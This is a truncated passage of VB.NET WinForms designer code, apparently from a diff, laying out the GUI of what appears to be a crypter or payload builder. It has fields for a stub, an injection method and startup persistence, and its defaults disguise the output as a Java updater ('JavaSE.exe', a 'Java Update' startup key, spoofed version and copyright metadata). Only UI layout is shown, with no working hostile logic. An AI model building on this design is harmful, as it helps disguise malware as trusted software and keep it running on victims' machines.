System.Drawing.Point(22, 86) + Me.Label8.Name = "Label8" + Me.Label8.Size = New System.Drawing.Size(33, 13) + Me.Label8.TabIndex = 8 + Me.Label8.Text = "Stub" + ' + 'Label7 + ' + Me.Label7.AutoSize = True + Me.Label7.ForeColor = System.Drawing.Color.DarkMagenta + Me.Label7.Location = New System.Drawing.Point(22, 73) + Me.Label7.Name = "Label7" + Me.Label7.Size = New System.Drawing.Size(43, 13) + Me.Label7.TabIndex = 7 + Me.Label7.Text = "Online" + ' + 'Label6 + ' + Me.Label6.AutoSize = True + Me.Label6.ForeColor = System.Drawing.Color.DarkMagenta + Me.Label6.Location = New System.Drawing.Point(22, 60) + Me.Label6.Name = "Label6" + Me.Label6.Size = New System.Drawing.Size(55, 13) + Me.Label6.TabIndex = 6 + Me.Label6.Text = "LICType" + ' + 'Label5 + ' + Me.Label5.AutoSize = True + Me.Label5.ForeColor = System.Drawing.Color.DarkMagenta + Me.Label5.Location = New System.Drawing.Point(22, 45) + Me.Label5.Name = "Label5" + Me.Label5.Size = New System.Drawing.Size(35, 13) + Me.Label5.TabIndex = 5 + Me.Label5.Text = "Time" + ' + 'Label4 + ' + Me.Label4.AutoSize = True + Me.Label4.ForeColor = System.Drawing.Color.DarkMagenta + Me.Label4.Location = New System.Drawing.Point(22, 30) + Me.Label4.Name = "Label4" + Me.Label4.Size = New System.Drawing.Size(91, 13) + Me.Label4.TabIndex = 4 + Me.Label4.Text = "ExpirationDate" + ' + 'Label3 + ' + Me.Label3.AutoSize = True + Me.Label3.ForeColor = System.Drawing.Color.DarkMagenta + Me.Label3.Location = New System.Drawing.Point(22, 17) + Me.Label3.Name = "Label3" + Me.Label3.Size = New System.Drawing.Size(65, 13) + Me.Label3.TabIndex = 3 + Me.Label3.Text = "Username" + ' + 'VSeperator1 + ' + Me.VSeperator1.BackColor = System.Drawing.Color.Transparent + Me.VSeperator1.Colors = New Onyx.Bloom(-1) {} + Me.VSeperator1.Customization = "" + Me.VSeperator1.Font = New System.Drawing.Font("Verdana", 8.0!) + Me.VSeperator1.Image = Nothing + Me.VSeperator1.Location = New System.Drawing.Point(391, 6) + Me.VSeperator1.Name = "VSeperator1" + Me.VSeperator1.NoRounding = False + Me.VSeperator1.Orientation = System.Windows.Forms.Orientation.Vertical + Me.VSeperator1.Size = New System.Drawing.Size(14, 228) + Me.VSeperator1.TabIndex = 4 + Me.VSeperator1.Text = "VSeperator1" + Me.VSeperator1.Transparent = True + ' + 'VGroupBox2 + ' + Me.VGroupBox2.BorderStyle = System.Windows.Forms.FormBorderStyle.None + Me.VGroupBox2.Colors = New Onyx.Bloom(-1) {} + Me.VGroupBox2.Controls.Add(Me.VGroupBox3) + Me.VGroupBox2.Controls.Add(Me.Label2) + Me.VGroupBox2.Controls.Add(Me.VButton3) + Me.VGroupBox2.Controls.Add(Me.VTextBox2) + Me.VGroupBox2.Customization = "" + Me.VGroupBox2.Font = New System.Drawing.Font("Verdana", 8.0!) + Me.VGroupBox2.Image = Nothing + Me.VGroupBox2.Location = New System.Drawing.Point(411, 123) + Me.VGroupBox2.Movable = True + Me.VGroupBox2.Name = "VGroupBox2" + Me.VGroupBox2.NoRounding = False + Me.VGroupBox2.Sizable = True + Me.VGroupBox2.Size = New System.Drawing.Size(349, 111) + Me.VGroupBox2.SmartBounds = True + Me.VGroupBox2.StartPosition = System.Windows.Forms.FormStartPosition.Manual + Me.VGroupBox2.TabIndex = 3 + Me.VGroupBox2.Text = "VGroupBox2" + Me.VGroupBox2.TransparencyKey = System.Drawing.Color.Empty + Me.VGroupBox2.Transparent = False + ' + 'VGroupBox3 + ' + Me.VGroupBox3.BorderStyle = System.Windows.Forms.FormBorderStyle.None + Me.VGroupBox3.Colors = New Onyx.Bloom(-1) {} + Me.VGroupBox3.Controls.Add(Me.PictureBox3) + Me.VGroupBox3.Customization = "" + Me.VGroupBox3.Font = New System.Drawing.Font("Verdana", 8.0!) + Me.VGroupBox3.Image = Nothing + Me.VGroupBox3.Location = New System.Drawing.Point(243, 17) + Me.VGroupBox3.Movable = True + Me.VGroupBox3.Name = "VGroupBox3" + Me.VGroupBox3.NoRounding = False + Me.VGroupBox3.Sizable = True + Me.VGroupBox3.Size = New System.Drawing.Size(89, 75) + Me.VGroupBox3.SmartBounds = True + Me.VGroupBox3.StartPosition = System.Windows.Forms.FormStartPosition.Manual + Me.VGroupBox3.TabIndex = 4 + Me.VGroupBox3.Text = "VGroupBox3" + Me.VGroupBox3.TransparencyKey = System.Drawing.Color.Empty + Me.VGroupBox3.Transparent = False + ' + 'PictureBox3 + ' + Me.PictureBox3.Image = CType(resources.GetObject("PictureBox3.Image"), System.Drawing.Image) + Me.PictureBox3.Location = New System.Drawing.Point(8, 9) + Me.PictureBox3.Name = "PictureBox3" + Me.PictureBox3.Size = New System.Drawing.Size(72, 55) + Me.PictureBox3.SizeMode = System.Windows.Forms.PictureBoxSizeMode.Zoom + Me.PictureBox3.TabIndex = 0 + Me.PictureBox3.TabStop = False + ' + 'Label2 + ' + Me.Label2.AutoSize = True + Me.Label2.ForeColor = System.Drawing.Color.DarkMagenta + Me.Label2.Location = New System.Drawing.Point(14, 17) + Me.Label2.Name = "Label2" + Me.Label2.Size = New System.Drawing.Size(32, 13) + Me.Label2.TabIndex = 2 + Me.Label2.Text = "Icon" + ' + 'VButton3 + ' + Me.VButton3.Colors = New Onyx.Bloom(-1) {} + Me.VButton3.Cursor = System.Windows.Forms.Cursors.Hand + Me.VButton3.Customization = "" + Me.VButton3.Font = New System.Drawing.Font("Verdana", 8.0!) + Me.VButton3.Image = Nothing + Me.VButton3.Location = New System.Drawing.Point(17, 64) + Me.VButton3.Name = "VButton3" + Me.VButton3.NoRounding = False + Me.VButton3.Size = New System.Drawing.Size(210, 28) + Me.VButton3.TabIndex = 2 + Me.VButton3.Text = "Browse" + Me.VButton3.Transparent = False + ' + 'VTextBox2 + ' + Me.VTextBox2.AllowDrop = True + Me.VTextBox2.Colors = New Onyx.Bloom(-1) {} + Me.VTextBox2.Customization = "" + Me.VTextBox2.Font = New System.Drawing.Font("Verdana", 8.0!) + Me.VTextBox2.Image = Nothing + Me.VTextBox2.Location = New System.Drawing.Point(17, 33) + Me.VTextBox2.MaxCharacters = 0 + Me.VTextBox2.Multiline = False + Me.VTextBox2.Name = "VTextBox2" + Me.VTextBox2.NoRounding = False + Me.VTextBox2.Size = New System.Drawing.Size(210, 25) + Me.VTextBox2.TabIndex = 0 + Me.VTextBox2.Text = " Drag 'n Drop" + Me.VTextBox2.Transparent = False + Me.VTextBox2.UsePasswordMask = False + ' + 'VGroupBox1 + ' + Me.VGroupBox1.BorderStyle = System.Windows.Forms.FormBorderStyle.None + Me.VGroupBox1.Colors = New Onyx.Bloom(-1) {} + Me.VGroupBox1.Controls.Add(Me.VRadiobutton2) + Me.VGroupBox1.Controls.Add(Me.VRadiobutton1) + Me.VGroupBox1.Controls.Add(Me.Label1) + Me.VGroupBox1.Controls.Add(Me.VButton2) + Me.VGroupBox1.Controls.Add(Me.VTextBox1) + Me.VGroupBox1.Customization = "" + Me.VGroupBox1.Font = New System.Drawing.Font("Verdana", 8.0!) + Me.VGroupBox1.Image = Nothing + Me.VGroupBox1.Location = New System.Drawing.Point(411, 6) + Me.VGroupBox1.Movable = True + Me.VGroupBox1.Name = "VGroupBox1" + Me.VGroupBox1.NoRounding = False + Me.VGroupBox1.Sizable = True + Me.VGroupBox1.Size = New System.Drawing.Size(349, 111) + Me.VGroupBox1.SmartBounds = True + Me.VGroupBox1.StartPosition = System.Windows.Forms.FormStartPosition.Manual + Me.VGroupBox1.TabIndex = 1 + Me.VGroupBox1.Text = "VGroupBox1" + Me.VGroupBox1.TransparencyKey = System.Drawing.Color.Empty + Me.VGroupBox1.Transparent = False + ' + 'VRadiobutton2 + ' + Me.VRadiobutton2.BackColor = System.Drawing.Color.Transparent + Me.VRadiobutton2.Checked = False + Me.VRadiobutton2.Colors = New Onyx.Bloom(-1) {} + Me.VRadiobutton2.Customization = "" + Me.VRadiobutton2.Enabled = False + Me.VRadiobutton2.Font = New System.Drawing.Font("Verdana", 8.0!) + Me.VRadiobutton2.Image = Nothing + Me.VRadiobutton2.Location = New System.Drawing.Point(233, 56) + Me.VRadiobutton2.Name = "VRadiobutton2" + Me.VRadiobutton2.NoRounding = False + Me.VRadiobutton2.Size = New System.Drawing.Size(78, 17) + Me.VRadiobutton2.TabIndex = 4 + Me.VRadiobutton2.Text = "Managed" + Me.VRadiobutton2.Transparent = True + ' + 'VRadiobutton1 + ' + Me.VRadiobutton1.BackColor = System.Drawing.Color.Transparent + Me.VRadiobutton1.Checked = False + Me.VRadiobutton1.Colors = New Onyx.Bloom(-1) {} + Me.VRadiobutton1.Customization = "" + Me.VRadiobutton1.Enabled = False + Me.VRadiobutton1.Font = New System.Drawing.Font("Verdana", 8.0!) + Me.VRadiobutton1.Image = Nothing + Me.VRadiobutton1.Location = New System.Drawing.Point(233, 33) + Me.VRadiobutton1.Name = "VRadiobutton1" + Me.VRadiobutton1.NoRounding = False + Me.VRadiobutton1.Size = New System.Drawing.Size(64, 17) + Me.VRadiobutton1.TabIndex = 3 + Me.VRadiobutton1.Text = "Native" + Me.VRadiobutton1.Transparent = True + ' + 'Label1 + ' + Me.Label1.AutoSize = True + Me.Label1.ForeColor = System.Drawing.Color.DarkMagenta + Me.Label1.Location = New System.Drawing.Point(14, 17) + Me.Label1.Name = "Label1" + Me.Label1.Size = New System.Drawing.Size(69, 13) + Me.Label1.TabIndex = 2 + Me.Label1.Text = "Executable" + ' + 'VButton2 + ' + Me.VButton2.Colors = New Onyx.Bloom(-1) {} + Me.VButton2.Cursor = System.Windows.Forms.Cursors.Hand + Me.VButton2.Customization = "" + Me.VButton2.Font = New System.Drawing.Font("Verdana", 8.0!) + Me.VButton2.Image = Nothing + Me.VButton2.Location = New System.Drawing.Point(17, 64) + Me.VButton2.Name = "VButton2" + Me.VButton2.NoRounding = False + Me.VButton2.Size = New System.Drawing.Size(210, 28) + Me.VButton2.TabIndex = 2 + Me.VButton2.Text = "Browse" + Me.VButton2.Transparent = False + ' + 'VTextBox1 + ' + Me.VTextBox1.AllowDrop = True + Me.VTextBox1.Colors = New Onyx.Bloom(-1) {} + Me.VTextBox1.Customization = "" + Me.VTextBox1.Font = New System.Drawing.Font("Verdana", 8.0!) + Me.VTextBox1.Image = Nothing + Me.VTextBox1.Location = New System.Drawing.Point(17, 33) + Me.VTextBox1.MaxCharacters = 0 + Me.VTextBox1.Multiline = False + Me.VTextBox1.Name = "VTextBox1" + Me.VTextBox1.NoRounding = False + Me.VTextBox1.Size = New System.Drawing.Size(210, 25) + Me.VTextBox1.TabIndex = 0 + Me.VTextBox1.Text = " Drag 'n Drop" + Me.VTextBox1.Transparent = False + Me.VTextBox1.UsePasswordMask = False + ' + 'TabPage2 + ' + Me.TabPage2.BackColor = System.Drawing.Color.FromArgb(CType(CType(15, Byte), Integer), CType(CType(15, Byte), Integer), CType(CType(15, Byte), Integer)) + Me.TabPage2.Controls.Add(Me.VGroupBox6) + Me.TabPage2.Controls.Add(Me.VSeperator2) + Me.TabPage2.Controls.Add(Me.VGroupBox5) + Me.TabPage2.Location = New System.Drawing.Point(4, 25) + Me.TabPage2.Name = "TabPage2" + Me.TabPage2.Padding = New System.Windows.Forms.Padding(3) + Me.TabPage2.Size = New System.Drawing.Size(785, 239) + Me.TabPage2.TabIndex = 1 + Me.TabPage2.Text = "Settings" + ' + 'VGroupBox6 + ' + Me.VGroupBox6.BorderStyle = System.Windows.Forms.FormBorderStyle.None + Me.VGroupBox6.Colors = New Onyx.Bloom(-1) {} + Me.VGroupBox6.Controls.Add(Me.VGroupBox7) + Me.VGroupBox6.Controls.Add(Me.GhostComboBox1) + Me.VGroupBox6.Controls.Add(Me.Label16) + Me.VGroupBox6.Customization = "" + Me.VGroupBox6.Font = New System.Drawing.Font("Verdana", 8.0!) + Me.VGroupBox6.Image = Nothing + Me.VGroupBox6.Location = New System.Drawing.Point(347, 7) + Me.VGroupBox6.Movable = True + Me.VGroupBox6.Name = "VGroupBox6" + Me.VGroupBox6.NoRounding = False + Me.VGroupBox6.Sizable = True + Me.VGroupBox6.Size = New System.Drawing.Size(419, 212) + Me.VGroupBox6.SmartBounds = True + Me.VGroupBox6.StartPosition = System.Windows.Forms.FormStartPosition.Manual + Me.VGroupBox6.TabIndex = 2 + Me.VGroupBox6.Text = "VGroupBox6" + Me.VGroupBox6.TransparencyKey = System.Drawing.Color.Empty + Me.VGroupBox6.Transparent = False + ' + 'VGroupBox7 + ' + Me.VGroupBox7.BorderStyle = System.Windows.Forms.FormBorderStyle.None + Me.VGroupBox7.Colors = New Onyx.Bloom(-1) {} + Me.VGroupBox7.Controls.Add(Me.VRadiobutton4) + Me.VGroupBox7.Controls.Add(Me.VRadiobutton3) + Me.VGroupBox7.Controls.Add(Me.VCheckBox1) + Me.VGroupBox7.Controls.Add(Me.Label20) + Me.VGroupBox7.Controls.Add(Me.VTextBox10) + Me.VGroupBox7.Controls.Add(Me.VTextBox12) + Me.VGroupBox7.Controls.Add(Me.Label17) + Me.VGroupBox7.Controls.Add(Me.VTextBox11) + Me.VGroupBox7.Controls.Add(Me.Label18) + Me.VGroupBox7.Customization = "" + Me.VGroupBox7.Font = New System.Drawing.Font("Verdana", 8.0!) + Me.VGroupBox7.Image = Nothing + Me.VGroupBox7.Location = New System.Drawing.Point(16, 58) + Me.VGroupBox7.Movable = True + Me.VGroupBox7.Name = "VGroupBox7" + Me.VGroupBox7.NoRounding = False + Me.VGroupBox7.Sizable = True + Me.VGroupBox7.Size = New System.Drawing.Size(311, 133) + Me.VGroupBox7.SmartBounds = True + Me.VGroupBox7.StartPosition = System.Windows.Forms.FormStartPosition.Manual + Me.VGroupBox7.TabIndex = 28 + Me.VGroupBox7.Text = "VGroupBox7" + Me.VGroupBox7.TransparencyKey = System.Drawing.Color.Empty + Me.VGroupBox7.Transparent = False + ' + 'VRadiobutton4 + ' + Me.VRadiobutton4.BackColor = System.Drawing.Color.Transparent + Me.VRadiobutton4.Checked = False + Me.VRadiobutton4.Colors = New Onyx.Bloom(-1) {} + Me.VRadiobutton4.Customization = "" + Me.VRadiobutton4.Enabled = False + Me.VRadiobutton4.Font = New System.Drawing.Font("Verdana", 8.0!) + Me.VRadiobutton4.Image = Nothing + Me.VRadiobutton4.Location = New System.Drawing.Point(241, 91) + Me.VRadiobutton4.Name = "VRadiobutton4" + Me.VRadiobutton4.NoRounding = False + Me.VRadiobutton4.Size = New System.Drawing.Size(59, 17) + Me.VRadiobutton4.TabIndex = 29 + Me.VRadiobutton4.Text = "Temp" + Me.VRadiobutton4.Transparent = True + ' + 'VRadiobutton3 + ' + Me.VRadiobutton3.BackColor = System.Drawing.Color.Transparent + Me.VRadiobutton3.Checked = True + Me.VRadiobutton3.Colors = New Onyx.Bloom(-1) {} + Me.VRadiobutton3.Customization = "" + Me.VRadiobutton3.Enabled = False + Me.VRadiobutton3.Font = New System.Drawing.Font("Verdana", 8.0!) + Me.VRadiobutton3.Image = Nothing + Me.VRadiobutton3.Location = New System.Drawing.Point(159, 91) + Me.VRadiobutton3.Name = "VRadiobutton3" + Me.VRadiobutton3.NoRounding = False + Me.VRadiobutton3.Size = New System.Drawing.Size(76, 17) + Me.VRadiobutton3.TabIndex = 28 + Me.VRadiobutton3.Text = "AppData" + Me.VRadiobutton3.Transparent = True + ' + 'VCheckBox1 + ' + Me.VCheckBox1.BackColor = System.Drawing.Color.Transparent + Me.VCheckBox1.Checked = False + Me.VCheckBox1.Colors = New Onyx.Bloom(-1) {} + Me.VCheckBox1.Customization = "" + Me.VCheckBox1.Font = New System.Drawing.Font("Verdana", 8.0!) + Me.VCheckBox1.Image = Nothing + Me.VCheckBox1.Location = New System.Drawing.Point(3, 3) + Me.VCheckBox1.Name = "VCheckBox1" + Me.VCheckBox1.NoRounding = False + Me.VCheckBox1.Size = New System.Drawing.Size(138, 20) + Me.VCheckBox1.TabIndex = 19 + Me.VCheckBox1.Text = "Add to Startup" + Me.VCheckBox1.Transparent = True + ' + 'Label20 + ' + Me.Label20.AutoSize = True + Me.Label20.Enabled = False + Me.Label20.ForeColor = System.Drawing.Color.DarkMagenta + Me.Label20.Location = New System.Drawing.Point(156, 27) + Me.Label20.Name = "Label20" + Me.Label20.Size = New System.Drawing.Size(68, 13) + Me.Label20.TabIndex = 27 + Me.Label20.Text = "Sub Folder" + ' + 'VTextBox10 + ' + Me.VTextBox10.AllowDrop = True + Me.VTextBox10.Colors = New Onyx.Bloom(-1) {} + Me.VTextBox10.Customization = "" + Me.VTextBox10.Enabled = False + Me.VTextBox10.Font = New System.Drawing.Font("Verdana", 8.0!) + Me.VTextBox10.Image = Nothing + Me.VTextBox10.Location = New System.Drawing.Point(12, 43) + Me.VTextBox10.MaxCharacters = 0 + Me.VTextBox10.Multiline = False + Me.VTextBox10.Name = "VTextBox10" + Me.VTextBox10.NoRounding = False + Me.VTextBox10.Size = New System.Drawing.Size(138, 25) + Me.VTextBox10.TabIndex = 20 + Me.VTextBox10.Text = "Java(TM) Platform SE Auto Updater 2 1" + Me.VTextBox10.Transparent = False + Me.VTextBox10.UsePasswordMask = False + ' + 'VTextBox12 + ' + Me.VTextBox12.AllowDrop = True + Me.VTextBox12.Colors = New Onyx.Bloom(-1) {} + Me.VTextBox12.Customization = "" + Me.VTextBox12.Enabled = False + Me.VTextBox12.Font = New System.Drawing.Font("Verdana", 8.0!) + Me.VTextBox12.Image = Nothing + Me.VTextBox12.Location = New System.Drawing.Point(159, 43) + Me.VTextBox12.MaxCharacters = 0 + Me.VTextBox12.Multiline = False + Me.VTextBox12.Name = "VTextBox12" + Me.VTextBox12.NoRounding = False + Me.VTextBox12.Size = New System.Drawing.Size(138, 25) + Me.VTextBox12.TabIndex = 26 + Me.VTextBox12.Text = "Java Update" + Me.VTextBox12.Transparent = False + Me.VTextBox12.UsePasswordMask = False + ' + 'Label17 + ' + Me.Label17.AutoSize = True + Me.Label17.Enabled = False + Me.Label17.ForeColor = System.Drawing.Color.DarkMagenta + Me.Label17.Location = New System.Drawing.Point(9, 27) + Me.Label17.Name = "Label17" + Me.Label17.Size = New System.Drawing.Size(66, 13) + Me.Label17.TabIndex = 21 + Me.Label17.Text = "Key Name" + ' + 'VTextBox11 + ' + Me.VTextBox11.AllowDrop = True + Me.VTextBox11.Colors = New Onyx.Bloom(-1) {} + Me.VTextBox11.Customization = "" + Me.VTextBox11.Enabled = False + Me.VTextBox11.Font = New System.Drawing.Font("Verdana", 8.0!) + Me.VTextBox11.Image = Nothing + Me.VTextBox11.Location = New System.Drawing.Point(12, 87) + Me.VTextBox11.MaxCharacters = 0 + Me.VTextBox11.Multiline = False + Me.VTextBox11.Name = "VTextBox11" + Me.VTextBox11.NoRounding = False + Me.VTextBox11.Size = New System.Drawing.Size(138, 25) + Me.VTextBox11.TabIndex = 22 + Me.VTextBox11.Text = "JavaSE.exe" + Me.VTextBox11.Transparent = False + Me.VTextBox11.UsePasswordMask = False + ' + 'Label18 + ' + Me.Label18.AutoSize = True + Me.Label18.Enabled = False + Me.Label18.ForeColor = System.Drawing.Color.DarkMagenta + Me.Label18.Location = New System.Drawing.Point(9, 71) + Me.Label18.Name = "Label18" + Me.Label18.Size = New System.Drawing.Size(63, 13) + Me.Label18.TabIndex = 23 + Me.Label18.Text = "File Name" + ' + 'GhostComboBox1 + ' + Me.GhostComboBox1.BackColor = System.Drawing.Color.FromArgb(CType(CType(90, Byte), Integer), CType(CType(90, Byte), Integer), CType(CType(90, Byte), Integer)) + Me.GhostComboBox1.DrawMode = System.Windows.Forms.DrawMode.OwnerDrawFixed + Me.GhostComboBox1.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList + Me.GhostComboBox1.ForeColor = System.Drawing.Color.DarkMagenta + Me.GhostComboBox1.FormattingEnabled = True + Me.GhostComboBox1.ItemHeight = 20 + Me.GhostComboBox1.Location = New System.Drawing.Point(16, 26) + Me.GhostComboBox1.Name = "GhostComboBox1" + Me.GhostComboBox1.Size = New System.Drawing.Size(150, 26) + Me.GhostComboBox1.TabIndex = 18 + ' + 'Label16 + ' + Me.Label16.AutoSize = True + Me.Label16.ForeColor = System.Drawing.Color.DarkMagenta + Me.Label16.Location = New System.Drawing.Point(13, 10) + Me.Label16.Name = "Label16" + Me.Label16.Size = New System.Drawing.Size(57, 13) + Me.Label16.TabIndex = 17 + Me.Label16.Text = "Injection" + ' + 'VSeperator2 + ' + Me.VSeperator2.BackColor = System.Drawing.Color.Transparent + Me.VSeperator2.Colors = New Onyx.Bloom(-1) {} + Me.VSeperator2.Customization = "" + Me.VSeperator2.Font = New System.Drawing.Font("Verdana", 8.0!) + Me.VSeperator2.Image = Nothing + Me.VSeperator2.Location = New System.Drawing.Point(327, 6) + Me.VSeperator2.Name = "VSeperator2" + Me.VSeperator2.NoRounding = False + Me.VSeperator2.Orientation = System.Windows.Forms.Orientation.Vertical + Me.VSeperator2.Size = New System.Drawing.Size(14, 227) + Me.VSeperator2.TabIndex = 1 + Me.VSeperator2.Text = "VSeperator2" + Me.VSeperator2.Transparent = True + ' + 'VGroupBox5 + ' + Me.VGroupBox5.BorderStyle = System.Windows.Forms.FormBorderStyle.None + Me.VGroupBox5.Colors = New Onyx.Bloom(-1) {} + Me.VGroupBox5.Controls.Add(Me.VButton6) + Me.VGroupBox5.Controls.Add(Me.VButton4) + Me.VGroupBox5.Controls.Add(Me.Label15) + Me.VGroupBox5.Controls.Add(Me.VTextBox9) + Me.VGroupBox5.Controls.Add(Me.Label14) + Me.VGroupBox5.Controls.Add(Me.VTextBox8) + Me.VGroupBox5.Controls.Add(Me.Label13) + Me.VGroupBox5.Controls.Add(Me.VTextBox7) + Me.VGroupBox5.Controls.Add(Me.Label12) + Me.VGroupBox5.Controls.Add(Me.VTextBox6) + Me.VGroupBox5.Controls.Add(Me.Label11) + Me.VGroupBox5.Controls.Add(Me.VTextBox5) + Me.VGroupBox5.Controls.Add(Me.Label10) + Me.VGroupBox5.Controls.Add(Me.VTextBox4) + Me.VGroupBox5.Controls.Add(Me.Label9) + Me.VGroupBox5.Controls.Add(Me.VTextBox3) + Me.VGroupBox5.Customization = "" + Me.VGroupBox5.Font = New System.Drawing.Font("Verdana", 8.0!) + Me.VGroupBox5.Image = Nothing + Me.VGroupBox5.Location = New System.Drawing.Point(6, 6) + Me.VGroupBox5.Movable = True + Me.VGroupBox5.Name = "VGroupBox5" + Me.VGroupBox5.NoRounding = False + Me.VGroupBox5.Sizable = True + Me.VGroupBox5.Size = New System.Drawing.Size(315, 213) + Me.VGroupBox5.SmartBounds = True + Me.VGroupBox5.StartPosition = System.Windows.Forms.FormStartPosition.Manual + Me.VGroupBox5.TabIndex = 0 + Me.VGroupBox5.Text = "VGroupBox5" + Me.VGroupBox5.TransparencyKey = System.Drawing.Color.Empty + Me.VGroupBox5.Transparent = False + ' + 'VButton6 + ' + Me.VButton6.Colors = New Onyx.Bloom(-1) {} + Me.VButton6.Customization = "" + Me.VButton6.Font = New System.Drawing.Font("Verdana", 8.0!) + Me.VButton6.Image = Nothing + Me.VButton6.Location = New System.Drawing.Point(162, 146) + Me.VButton6.Name = "VButton6" + Me.VButton6.NoRounding = False + Me.VButton6.Size = New System.Drawing.Size(138, 25) + Me.VButton6.TabIndex = 17 + Me.VButton6.Text = "Clone" + Me.VButton6.Transparent = False + ' + 'VButton4 + ' + Me.VButton4.Colors = New Onyx.Bloom(-1) {} + Me.VButton4.Customization = "" + Me.VButton4.Font = New System.Drawing.Font("Verdana", 8.0!) + Me.VButton4.Image = Nothing + Me.VButton4.Location = New System.Drawing.Point(162, 177) + Me.VButton4.Name = "VButton4" + Me.VButton4.NoRounding = False + Me.VButton4.Size = New System.Drawing.Size(138, 25) + Me.VButton4.TabIndex = 1 + Me.VButton4.Text = "Generate" + Me.VButton4.Transparent = False + ' + 'Label15 + ' + Me.Label15.AutoSize = True + Me.Label15.ForeColor = System.Drawing.Color.DarkMagenta + Me.Label15.Location = New System.Drawing.Point(159, 99) + Me.Label15.Name = "Label15" + Me.Label15.Size = New System.Drawing.Size(97, 13) + Me.Label15.TabIndex = 16 + Me.Label15.Text = "Product Version" + ' + 'VTextBox9 + ' + Me.VTextBox9.AllowDrop = True + Me.VTextBox9.Colors = New Onyx.Bloom(-1) {} + Me.VTextBox9.Customization = "" + Me.VTextBox9.Font = New System.Drawing.Font("Verdana", 8.0!) + Me.VTextBox9.Image = Nothing + Me.VTextBox9.Location = New System.Drawing.Point(162, 115) + Me.VTextBox9.MaxCharacters = 0 + Me.VTextBox9.Multiline = False + Me.VTextBox9.Name = "VTextBox9" + Me.VTextBox9.NoRounding = False + Me.VTextBox9.Size = New System.Drawing.Size(138, 25) + Me.VTextBox9.TabIndex = 15 + Me.VTextBox9.Text = "7.0.70.11" + Me.VTextBox9.Transparent = False + Me.VTextBox9.UsePasswordMask = False + ' + 'Label14 + ' + Me.Label14.AutoSize = True + Me.Label14.ForeColor = System.Drawing.Color.DarkMagenta + Me.Label14.Location = New System.Drawing.Point(159, 55) + Me.Label14.Name = "Label14" + Me.Label14.Size = New System.Drawing.Size(109, 13) + Me.Label14.TabIndex = 14 + Me.Label14.Text = "Assembly Version" + ' + 'VTextBox8 + ' + Me.VTextBox8.AllowDrop = True + Me.VTextBox8.Colors = New Onyx.Bloom(-1) {} + Me.VTextBox8.Customization = "" + Me.VTextBox8.Font = New System.Drawing.Font("Verdana", 8.0!) + Me.VTextBox8.Image = Nothing + Me.VTextBox8.Location = New System.Drawing.Point(162, 71) + Me.VTextBox8.MaxCharacters = 0 + Me.VTextBox8.Multiline = False + Me.VTextBox8.Name = "VTextBox8" + Me.VTextBox8.NoRounding = False + Me.VTextBox8.Size = New System.Drawing.Size(138, 25) + Me.VTextBox8.TabIndex = 13 + Me.VTextBox8.Text = "1.7.0.7" + Me.VTextBox8.Transparent = False + Me.VTextBox8.UsePasswordMask = False + ' + 'Label13 + ' + Me.Label13.AutoSize = True + Me.Label13.ForeColor = System.Drawing.Color.DarkMagenta + Me.Label13.Location = New System.Drawing.Point(159, 11) + Me.Label13.Name = "Label13" + Me.Label13.Size = New System.Drawing.Size(70, 13) + Me.Label13.TabIndex = 12 + Me.Label13.Text = "Trademark" + ' + 'VTextBox7 + ' + Me.VTextBox7.AllowDrop = True + Me.VTextBox7.Colors = New Onyx.Bloom(-1) {} + Me.VTextBox7.Customization = "" + Me.VTextBox7.Font = New System.Drawing.Font("Verdana", 8.0!) + Me.VTextBox7.Image = Nothing + Me.VTextBox7.Location = New System.Drawing.Point(162, 27) + Me.VTextBox7.MaxCharacters = 0 + Me.VTextBox7.Multiline = False + Me.VTextBox7.Name = "VTextBox7" + Me.VTextBox7.NoRounding = False + Me.VTextBox7.Size = New System.Drawing.Size(138, 25) + Me.VTextBox7.TabIndex = 11 + Me.VTextBox7.Text = "Java(TM)" + Me.VTextBox7.Transparent = False + Me.VTextBox7.UsePasswordMask = False + ' + 'Label12 + ' + Me.Label12.AutoSize = True + Me.Label12.ForeColor = System.Drawing.Color.DarkMagenta + Me.Label12.Location = New System.Drawing.Point(12, 143) + Me.Label12.Name = "Label12" + Me.Label12.Size = New System.Drawing.Size(63, 13) + Me.Label12.TabIndex = 10 + Me.Label12.Text = "Copyright" + ' + 'VTextBox6 + ' + Me.VTextBox6.AllowDrop = True + Me.VTextBox6.Colors = New Onyx.Bloom(-1) {} + Me.VTextBox6.Customization = "" + Me.VTextBox6.Font = New System.Drawing.Font("Verdana", 8.0!) + Me.VTextBox6.Image = Nothing + Me.VTextBox6.Location = New System.Drawing.Point(15, 159) + Me.VTextBox6.MaxCharacters = 0 + Me.VTextBox6.Multiline = False + Me.VTextBox6.Name = "VTextBox6" + Me.VTextBox6.NoRounding = False + Me.VTextBox6.Size = New System.Drawing.Size(138, 25) + Me.VTextBox6.TabIndex = 9 + Me.VTextBox6.Text = "Copyright © 2012" + Me.VTextBox6.Transparent = False + Me.VTextBox6.UsePasswordMask = False + ' + 'Label11 + ' + Me.Label11.AutoSize = True + Me.Label11.ForeColor = System.Drawing.Color.DarkMagenta + Me.Label11.Location = New System.Drawing.Point(12, 99) + Me.Label11.Name = "Label11" + Me.Label11.Size = New System.Drawing.Size(87, 13) + Me.Label11.TabIndex = 8 + Me.Label11.Text = "Product Name" + ' + 'VTextBox5 + ' + Me.VTextBox5.AllowDrop = True + Me.VTextBox5.Colors = New Onyx.Bloom(-1) {} + Me.VTextBox5.Customization = "" + Me.VTextBox5.Font = New System.Drawing.Font("Verdana", 8.0!) + Me.VTextBox5.Image = Nothing + Me.VTextBox5.Location = New System.Drawing.Point(15, 115) + Me.VTextBox5.MaxCharacters = 0 + Me.VTextBox5.Multiline = False + Me.VTextBox5.Name = "VTextBox5" + Me.VTextBox5.NoRounding = False + Me.VTextBox5.Size = New System.Drawing.Size(138, 25) + Me.VTextBox5.TabIndex = 7 + Me.VTextBox5.Text = "Java(TM) Platform SE binary" + Me.VTextBox5.Transparent = False + Me.VTextBox5.UsePasswordMask = False + ' + 'Label10 + ' + Me.Label10.AutoSize = True + Me.Label10.ForeColor = System.Drawing.Color.DarkMagenta + Me.Label10.Location = New System.Drawing.Point(12, 55) + Me.Label10.Name = "Label10" + Me.Label10.Size = New System.Drawing.Size(99, 13) + Me.Label10.TabIndex = 6 + Me.Label10.Text = "Company Name" + ' + 'VTextBox4 + ' + Me.VTextBox4.AllowDrop = True + Me.VTextBox4.Colors = New Onyx.Bloom(-1) {} + Me.VTextBox4.Customization = "" + Me.VTextBox4.Font = New System.Drawing.Font("Verdana", 8.0!) + Me.VTextBox4.Image = Nothing + Me.VTextBox4.Location = New 